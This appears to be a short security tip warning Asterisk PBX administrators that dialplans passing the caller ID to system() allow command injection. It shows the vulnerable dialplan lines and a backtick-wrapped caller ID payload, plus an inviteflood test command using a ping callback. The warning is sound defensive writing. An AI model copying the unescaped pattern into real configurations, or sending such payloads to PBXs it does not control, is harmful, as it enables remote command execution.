If you want your asterisk pbx to send out emails or write information into a logfile, you might find examples using the system() command.
Based on some google/github searches, you might be tempted to write something like this:

exten => 666,1,system(mail -s "Missed Call ${CALLERID(num)}" foo@bar < /path/call.msg)
exten => 666,2,system(echo "${DATETIME} - ${CALLERID(num)}" >> /log/calls)

Please be aware that there is no proper escaping done on the ${CALLERID(num)} variable.
An attacker might set the callerid to:

`some bad command`@your.pbx

Which is probably problematic. :)

If you are looking for a quick way of testing, take a look at inviteflood which is part of the kali linux distribution:

Usage is simple:

inviteflood <interface> <user> <domain> <target-ip> <packet-count> -a <callerid>

For example:

inviteflood tun3 666 your.pbx 127.0.0.1 1 -a '`/bin/ping pingbackhost -c 1`'

(Then look for pings on 'pingbackhost' or attempts to resolve the domain.)

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